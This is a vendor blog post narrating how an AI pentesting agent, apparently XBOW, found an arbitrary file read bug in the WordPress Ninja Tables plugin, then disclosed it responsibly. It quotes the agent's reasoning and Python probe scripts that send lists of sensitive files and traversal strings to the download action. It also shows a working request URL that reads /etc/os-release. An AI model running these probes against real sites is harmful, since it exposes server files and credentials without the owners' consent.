July 14, 2025

Alvaro

Muñoz

XBOW battles Ninja Tables: Who’s the Real Ninja?

Sharing the story of how XBOW sniffed out a sneaky arbitrary file read bug in the popular WordPress Ninja Tables plugin.

Let’s face it: web apps are complicated beasts these days. With all the plugins, integrations, and widgets, it’s no wonder that keeping them secure feels like a never-ending game of whack-a-mole. That’s exactly why we built XBOW—our AI-powered, never-sleeps, always-curious security pentester.

In this post, I’m sharing the story of how XBOW sniffed out a sneaky arbitrary file read bug in the popular WordPress Ninja Tables plugin. XBOW didn’t just stumble onto this by luck—it mapped out the site, poked at endpoints, and kept digging until it hit paydirt.

If you’re into security, dev, or just want to see what happens when you let an AI loose on a real-world app, keep reading. This is a behind-the-scenes look at how autonomous pentesting actually plays out.

Uncovering an Arbitrary File Read Vulnerability in WordPress’s Ninja Tables

The journey began with XBOW performing reconnaissance on the target site as part of a HackerOne Bug Bounty Program assessment. XBOW started off by methodically searching for endpoints that might accept file path parameters. This initial exploration is a crucial first step in identifying potential vectors for path traversal vulnerabilities.

I need to start by exploring the target website https://[REDACTED] to understand its structure and identify potential endpoints that might accept file path parameters. This will help me systematically look for path traversal vulnerabilities. I'll begin with reconnaissance to map out the application's functionality and endpoints.

XBOW swiftly figures out it’s dealing with a WordPress site—robots.txt, sitemaps, and all the usual suspects. This helps it zero in on the kind of endpoints that are most likely to be interesting.

I can see this is a WordPress site based on the robots.txt showing /wp-admin/ and the sitemap structure. The /admin/ endpoint shows an Okta login form which is interesting but not directly related to path traversal. I notice the sitemap reveals several WordPress-specific endpoints and post types. Let me explore WordPress-specific endpoints and look for file handling functionality, particularly focusing on wp-admin/admin-ajax.php (which is allowed in robots.txt) and other WordPress endpoints that might handle file operations.

Targeted Reconnaissance of WordPress Endpoints

With the WordPress context established, XBOW enumerated a range of endpoints likely to handle files, including REST API and AJAX endpoints. This systematic approach ensured coverage of both common and less obvious vectors.

...

# WordPress-specific endpoints that might handle files
wp_endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-content/',
'/wp-includes/',
'/wp-json/',
'/wp-json/wp/v2/',
'/wp-content/uploads/',
'/wp-content/themes/',
'/wp-content/plugins/',
'/?rest_route=/',
'/?rest_route=/wp/v2/',
'/index.php',
'/wp-login.php'
]

...

# Check specific WordPress REST API endpoints for media/files
print(f"\n{'='*50}")
print("Checking WordPress REST API for media endpoints:")
print(f"{'='*50}")

rest_endpoints = [
'/wp-json/wp/v2/media',
'/wp-json/wp/v2/users',
'/wp-json/wp/v2/posts',
'/wp-json/wp/v2/pages',
'/wp-json/wp/v2/attachments'
]

But, as is often the case, the obvious vectors don’t pan out. No directory listings, no easy LFI wins. So XBOW switches gears and starts poking at blog posts, code samples, and whatever else looks promising.

The accessible WordPress directories don't seem to have directory listings enabled, and the common LFI parameter tests didn't reveal any obvious vulnerabilities. Let me take a different approach and look more carefully at the blog posts and code samples pages, as these might contain file download or viewing functionality. I'll also check the sitemap URLs to discover more specific endpoints that might handle files.

Discovery of a Download Functionality

Here’s where things get interesting. XBOW stumbles on some JavaScript on the /api-[REDACTED]/ page that hints at a ninja_table_force_download action—complete with a user-controlled url parameter. That’s a classic “this might go somewhere” moment.

Interesting! I found a very promising pattern in the /api-[REDACTED]/ page - there are JavaScript patterns showing "force_download" and "?action=ninja_table_force_download&url=" which suggests a file download functionality. This looks like a potential path traversal vulnerability where I can control the URL parameter. Let me investigate this ninja_table_force_download action more thoroughly as it might allow me to download arbitrary files from the server.

XBOW scripted a series of exploitation attempts, targeting the suspected vulnerable endpoint with various file paths and methods, demonstrating a methodical approach to uncovering the vulnerability.

Now it’s time for some good old-fashioned but smart and focused brute force. XBOW writes up a script to hit this endpoint with a set of target file paths and different approaches: GET, POST and AJAX requests.

...

# Test files to attempt to read
test_files = [
'/etc/passwd',
'/proc/self/environ',
'/proc/version',
'/etc/os-release',
'/etc/hostname',
'/etc/hosts',
'file:///etc/passwd',
'file:///proc/version',
'../../../etc/passwd',
'..\\..\\..\\windows\\win.ini',
'c:\\windows\\win.ini',
'c:\\boot.ini'
]

# Test different ways to trigger the download
for test_file in test_files:
print(f"\nTesting file: {test_file}")

# Method 1: GET request with action parameter
try:
params = {
'action': 'ninja_table_force_download',
'url': test_file
}
response = session.get(base_url, params=params, timeout=10)

...

# Method 2: POST request
try:
data = {
'action': 'ninja_table_force_download',
'url': test_file
}
response = session.post(base_url, data=data, timeout=10)

...

# Method 3: Try with admin-ajax.php
try:
ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
data = {
'action': 'ninja_table_force_download',
'url': test_file
}
response = session.post(ajax_url, data=data, timeout=10)

Recognizing Subtle Indicators

XBOW’s nuanced understanding of WordPress paid off: while most attempts returned 403 Forbidden (suggesting a WAF or other security control), AJAX endpoint gives a 422 instead—which means the action is there, but something’s up with validation. That’s a clue worth chasing!

The ninja_table_force_download action is returning 403 Forbidden for most file access attempts, but I'm getting 422 status codes when using the AJAX endpoint, which suggests the action exists but has validation. The 403s might indicate a WAF or security measure. Let me explore the individual code sample pages more thoroughly, as they might have their own file download or viewing mechanisms. I also noticed there was a "upload file to REDACTED objects bucket" code sample that might have file handling functionality.

XBOW gets sidetracked for a bit, but then circles back to the promising ninja_table_force_download lead, digging deeper into the JavaScript and grabbing the nonce needed to make a legit request.

I've been testing many different approaches but haven't found a clear path traversal vulnerability yet. Let me take a step back and try a more systematic approach by looking at specific WordPress functionality that I might have missed. I noticed there were some file references in JavaScript earlier, particularly the "ninja_table_force_download" functionality. Let me investigate this more thoroughly and also test some WordPress-specific attack vectors that I might have overlooked.

XBOW finds the exact JavaScript that wires up the download, confirming the need for a nonce and showing exactly how the request should look:

Excellent! I found the exact ninja_table_force_download JavaScript code! The key information is:1. The AJAX URL is: `https://[REDACTED]/wp-admin/admin-ajax.php`2. The action is: `ninja_table_force_download`3. It expects a `url` parameter4. It requires a nonce: `ninja_table_public_nonce` with value `b69b8c2ef0`The JavaScript shows: `window.ninja_footables.ajax_url + '?action=ninja_table_force_download&url=' + url + '&ninja_table_public_nonce=' + window.ninja_footables.ninja_table_public_nonce`Let me test this exact pattern with the correct nonce value to see if I can trigger a path traversal vulnerability.

Arbitrary File Read Confirmed

Armed with the right nonce and request format, XBOW goes back to the script and—boom—finally gets a hit. /etc/os-release comes back with a 200 and the file contents. Jackpot.

Testing ninja_table_force_download with correct nonce:
============================================================

Testing file: /etc/passwd
GET URL:
https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/etc/passwd&ninja_table_public_nonce=b69b8c2ef0
GET Status: 403
GET Content-Type: text/html
GET Content-Length: 413
POST Status: 403
POST Content-Type: text/html
POST Content-Length: 408

Testing file: /proc/version
GET URL:
https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/proc/version&ninja_table_public_nonce=b69b8c2ef0
GET Status: 403
GET Content-Type: text/html
GET Content-Length: 413
POST Status: 403
POST Content-Type: text/html
POST Content-Length: 408

Testing file: /etc/os-release
GET URL:
https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/etc/os-release&ninja_table_public_nonce=b69b8c2ef0
GET Status: 200
GET Content-Type: application/octet-stream
GET Content-Length: 267
** OS-RELEASE FILE FOUND via GET! **
URL:
https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/etc/os-release&ninja_table_public_nonce=b69b8c2ef0
Content preview: PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

SUCCESS! Found /etc/os-release

============================================================
Checking for successful file access:
============================================================

SUCCESS FILE FOUND: /tmp/ninja_success_os_release.txt
URL:
https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/etc/os-release&ninja_table_public_nonce=b69b8c2ef0
Method: GET
Content:
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

============================================================

VULNERABILITY CONFIRMED! Ready to use check-file-read tool.

Vulnerable URL: https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/etc/os-release&ninja_table_public_nonce=b69b8c2ef0

So, even though files like /etc/passwd were locked down, XBOW’s persistence paid off—proving the Ninja Tables plugin could be tricked into reading arbitrary files.

Impact

This arbitrary file read vulnerability allowed an attacker to access sensitive server files, potentially leading to critical information disclosure, such as database credentials from `wp-config.php`.

Given the popularity of the Ninja Tables plugin, this vulnerability had a significant impact, affecting numerous WordPress websites and multiple bug bounty programs.

Disclosure and Response

Once the arbitrary file read vulnerability was confirmed, we initiated a responsible disclosure process. We shared the details of the vulnerability with the maintainers of the Ninja Tables plugin which responded with extreme swiftness, demonstrating a strong commitment to security.

We extend our thanks for their prompt response and quick turnaround in addressing this issue.

Reference: https://ninjatables.com/docs/change-log/#521-date-july-9-2025

That’s a wrap

This whole trace is a great example of why you want an AI that doesn’t get bored, doesn’t give up, and actually understands the weird quirks of platforms like WordPress.

XBOW pieced together subtle clues, followed the trail, and landed a real-world bug affecting thousands of WordPress blogs out there. If you’re curious about what autonomous security testing can really do, this is it in action.

Stay tuned for more technical blogposts!

https://xbow-website-b1b.pages.dev/traces/https://xbow-website-b1b.pages.dev/traces/ninja-tables-arbitrary-file-read